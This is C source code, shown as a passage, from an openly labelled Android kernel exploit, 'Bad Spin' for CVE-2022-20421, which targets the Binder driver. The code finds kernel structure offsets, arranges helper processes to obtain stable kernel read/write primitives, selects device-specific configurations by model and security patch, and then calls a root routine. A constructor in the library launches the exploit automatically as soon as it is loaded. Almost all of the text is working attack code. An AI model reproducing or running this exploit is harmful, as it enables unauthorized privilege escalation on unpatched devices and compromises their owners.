    unix_recv_files_exact(fd_master_sock, &rw->pipe.corrupted_ptmx, 1);
    unix_recv_files_exact(fd_master_sock, (int *)rw->pipe.corrupted_pipe, 2);

    waitpid(fd_pid, NULL, 0);

    /* Upgrade to stable rw primitives */
    ret = get_stable_rw(rw);
    if (ret) {
        free(rw);
        LOG("Failed to upgrade to stable RW primitives\n");
        return NULL;
    }
    LOG("[x] Successfully upgraded to stable RW primitives. \\o/\n");
    LOGD("Fixup zombie processes\n");
    fixup_zombie_processes(ctx, rw);

    return rw;
}

void initialize_ctx(exploit_ctx_t *ctx) {
    int graveyard_sock = ctx->graveyard_sock;
    pid_t graveyard_pid = ctx->graveyard_pid;
    pid_t zombie_pids[NR_ATTEMPTS];
    memcpy(zombie_pids, ctx->zombie_dup_procs, NR_ATTEMPTS*sizeof(pid_t));
    pid_t pipe_procs_pids[NR_PIPE_PROCS];
    memcpy(pipe_procs_pids, ctx->pipe_procs_pids, sizeof(pipe_procs_pids));
    int pipe_procs_sockets[NR_PIPE_PROCS];
    memcpy(pipe_procs_sockets, ctx->pipe_procs_sockets, sizeof(pipe_procs_sockets));


    memset(ctx, 0, sizeof(exploit_ctx_t));


    ctx->graveyard_sock = graveyard_sock;
    ctx->graveyard_pid = graveyard_pid;
    memcpy(ctx->zombie_dup_procs, zombie_pids, NR_ATTEMPTS*sizeof(pid_t));
    memcpy(ctx->pipe_procs_pids, pipe_procs_pids, sizeof(pipe_procs_pids));
    memcpy(ctx->pipe_procs_sockets, pipe_procs_sockets, sizeof(pipe_procs_sockets));
}

int graveyard_process(exploit_ctx_t *ctx, int sock) {
    int fd;
    
    LOGD("[%s] pid = %d\n", __func__, getpid());

    for (;;) {
        fd = -1;
        unix_recv_files_exact(sock, &fd, 1);
    }

    LOGD("[%s] Exit.\n", __func__);  // Unreachable

    return 0;
}

int create_graveyard_process(exploit_ctx_t *ctx, pid_t *pid) {
    int sockets[2];
    if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets) < 0) {
        return -1;
    }
    switch (*pid = SYSCHK(fork())) {
        case 0: exit(graveyard_process(ctx, sockets[1]));
        default: break;
    }
    close(sockets[1]);
    ctx->graveyard_sock = sockets[0];
    ctx->graveyard_pid = *pid;
    return 0;
}

int create_pipe_process(exploit_ctx_t *ctx, int idx, pid_t *pid_out, int *sock_out) {
    pid_t pid;
    int sockets[2];
    SYSCHK(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets));
    switch(pid = SYSCHK(fork())) {
        case 0: {close(sockets[0]); exit(pipe_process(ctx, idx, sockets[1]));}
        default: break;
    }
    close(sockets[1]);
    if (pid_out) {
        *pid_out = pid;
    }
    if (sock_out) {
        *sock_out = sockets[0];
    }
    return 0;
}

#ifdef STABILIZE

int get_memfree() {
    char buf[0x1000];
    int ret = 0;
    int fd = open("/proc/meminfo", O_RDONLY);
    if (fd == -1) {
        return 0;
    }
    ret = read(fd, buf, 0x1000);
    if (ret == -1) {
        return 0;
    }
    close(fd);
    char *s_memfree = strstr(buf, "MemFree: ");
    int memfree = 0;
    sscanf(s_memfree, "MemFree: %d kB", &memfree);
    return memfree;
}
#define NR_MEASUREMENTS (20)
#define USEC_MEASUREMENT (10*1000*1000)
bool safe_to_go() {
    int measurements[NR_MEASUREMENTS];
    int i;
    int max, min;
    measurements[0] = get_memfree();
    if (measurements[0] == 0) {
        FAIL();
    }
    usleep(USEC_MEASUREMENT/NR_MEASUREMENTS);
    max = min = measurements[0];
    for (i = 1; i < NR_MEASUREMENTS; i++) {
        measurements[i] = get_memfree();
        if (measurements[i] > max) {
            max = measurements[i];
        }
        if (measurements[i] < min) {
            min = measurements[i];
        }
        usleep(USEC_MEASUREMENT/NR_MEASUREMENTS);
    }
    return (max - min) <= 1024;
}

void ensure_safe_to_go() {
    bool is_safe = false;
    while(!is_safe) {
        is_safe = safe_to_go();
        LOGD("safe to go? %d\n", is_safe);
    }
}

#endif

int root(struct rw_info *rw);

int exploit() {
    exploit_ctx_t *ctx;
    pid_t graveyard_pid = 0;
    int attempt = 0;
    int ret = 0;

    LOG("==========================================\n");
    LOG("Bad Spin Exploit (CVE-2022-20421) by 0xkol\n");
    LOG("==========================================\n");

    /* Initialize shared memory */
    ctx = SYSCHK(mmap(NULL, sizeof(exploit_ctx_t), PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_SHARED, -1, 0));

    memset(ctx, 0, sizeof(exploit_ctx_t));

#if TEST_VULN != 0
    int nr_tests = TEST_VULN;
    int good_runs = 0;
    LOG("[x] Vulnerability test mode\n");
#else
    LOG("[x] Looking for binder_proc's inner_lock offset\n");
#endif
    ctx->binder_proc_inner_lock_offset = -1;
    while(ctx->binder_proc_inner_lock_offset < 0) {
        initialize_ctx(ctx);
        vuln(ctx, vuln_mode_detect);
#if TEST_VULN != 0
        if (ctx->binder_proc_inner_lock_offset >= 0) {
            good_runs++;
        }
        nr_tests--;
        if (nr_tests == 0) {
            LOG("TEST: %d/%d\n", good_runs, TEST_VULN);
            break;
        }
        ctx->binder_proc_inner_lock_offset = -1;
#endif
    }

    dev_config->kconsts.binder_proc_offsets.binder_inner_lock = OFFSET(ctx->binder_proc_inner_lock_offset);
    int vuln_fd = VULN_FD;
    LOG("[x] Found binder_proc's inner_lock offset: %d (vuln_fd %d)\n\n", ctx->binder_proc_inner_lock_offset, vuln_fd);

#if TEST_VULN != 0
    return 0;
#endif

    if (ctx->binder_proc_inner_lock_offset < 520 || ctx->binder_proc_inner_lock_offset % 8 != 0) {
        LOG("[x] Unsupported inner_lock offset: Must be >= 520 and aligned to 8.\n");
        LOG("[x] Exit.\n");
        return 0;
    }

    /* Some CPU cores are hardcoded in the exploit. Guard against misuse. */
    int nr_cpus = sysconf(_SC_NPROCESSORS_ONLN);
    if (nr_cpus < 8) {
        LOG("[x] Number of processors %d is less than 8.\n", nr_cpus);
        LOG("[x] Exit.\n");
        return 0;
    }

    if (create_graveyard_process(ctx, &graveyard_pid) < 0) {
        return -1;
    }

    /* Create pipe processes */
    for (int i = 0; i < NR_PIPE_PROCS; i++) {
        ret = create_pipe_process(ctx, i, &ctx->pipe_procs_pids[i], &ctx->pipe_procs_sockets[i]);
        if (ret < 0) {
            LOG("Failed to create pipe process %d\n", i);
            return -1;
        }
    }
    while(atomic_load(&ctx->sync_var_pipe_processes) != NR_PIPE_PROCS);

#ifdef STABILIZE
    /* Waits for a device state which is more stable.. heuristic, not always works. */
    ensure_safe_to_go();
#endif

    struct rw_info *rw = NULL;
    do {
        initialize_ctx(ctx);
        rw = do_exploit(ctx);
        if (rw) {
            break;
        }
        attempt++;
    }while(attempt < NR_ATTEMPTS);

    /* Destroy pipe processes */
    for (int i = 0; i < NR_PIPE_PROCS; i++) {
        kill(ctx->pipe_procs_pids[i], SIGKILL);
    }

    kill(graveyard_pid, SIGKILL);
    munmap(ctx, sizeof(exploit_ctx_t));

    /* Root */
    if (rw) {
        root(rw);
        rw->kclose(rw);
        free(rw);
    }

    return 0;
}

struct device_config *dev_config = NULL;

#include <dlfcn.h>
// Adapted from: https://stackoverflow.com/questions/28413530/api-to-get-android-system-properties-is-removed-in-arm64-platforms
typedef int (*fn__system_property_get)(const char *, char *);
int __system_property_get(const char *name, char *value)
{
    static fn__system_property_get __real_system_property_get = NULL;
    if (!__real_system_property_get) {
        // libc.so should already be open, get a handle to it.
        void *handle = dlopen("libc.so", RTLD_NOLOAD);
        if (!handle) {
            LOG("Cannot dlopen libc.so: %s.\n", dlerror());
        } else {
            __real_system_property_get = (fn__system_property_get)dlsym(handle, "__system_property_get");
        }
        if (!__real_system_property_get) {
            LOG("Cannot resolve __system_property_get(): %s.\n", dlerror());
        }
    }
    if (!__real_system_property_get) return (0);
    return (*__real_system_property_get)(name, value);
}

struct device_config *find_dev_config() {
    char model[0x100];
    char security_patch[0x100];
    char version_release[0x100];
    int ret = 0;
    ret = __system_property_get("ro.product.model", model);
    if (!ret)
        return NULL;
    
    ret = __system_property_get("ro.build.version.security_patch", security_patch);
    if (!ret)
        return NULL;
    
    int year = 0, month = 0;
    sscanf(security_patch, "%d-%d", &year, &month);

    if (year > 2022 || (year == 2022 && month >= 10)) {
        LOG("Vulnerability is closed on October 2022. Your device's security patch is %d-%d.\n", year, month);
        exit(1);
    }

    ret = __system_property_get("ro.build.version.release", version_release);
    if (!ret)
        return NULL;
    
    int version = 0;
    sscanf(version_release, "%d", &version);

    for (int i = 0; i < sizeof(device_configs)/sizeof(device_configs[0]); i++) {
        struct device_config *c = &device_configs[i];
        if (!strcmp(c->model, model) && 
            c->android_security_patch.year == year && 
            c->android_security_patch.month == month &&
            c->android_version == version)
            return c;
    }
    return NULL;
}

void dev_config_init() {
#define SET_IF_INVALID(o, new) ({\
    if (!(o).valid) {                 \
        (o) = OFFSET((new));      \
    }                                 \
})
    dev_config = find_dev_config();
    if (dev_config == NULL) {
        FAIL();
    }
    dev_config->vmemmap_start = dev_config->vmemmap_start ? : VMEMMAP_START;
    dev_config->kzero_address = dev_config->kzero_address ? : VMEMMAP_START + 0x78;
    SET_IF_INVALID(dev_config->kconsts.file_offsets.file_f_op, FILE__F_OP);
    SET_IF_INVALID(dev_config->kconsts.file_offsets.file_f_count, FILE__F_COUNT);
    SET_IF_INVALID(dev_config->kconsts.file_offsets.file_f_mode, FILE__F_MODE);
    SET_IF_INVALID(dev_config->kconsts.file_operations_offsets.f_op_flush, FILE_OPERATIONS__F_OP_FLUSH);
    if (!dev_config->kimg_to_lm) {
        LOG("Bad dev_config: No kimg_to_lm() function found for device.");
        FAIL();
    }
    if (!dev_config->find_kbase) {
        LOG("Bad dev_config: No find_kbase() function found for device.");
        FAIL();
    }
}

static void init() __attribute__((constructor));
void init() {
    unsetenv("LD_PRELOAD");
    dev_config_init();
    exploit();
}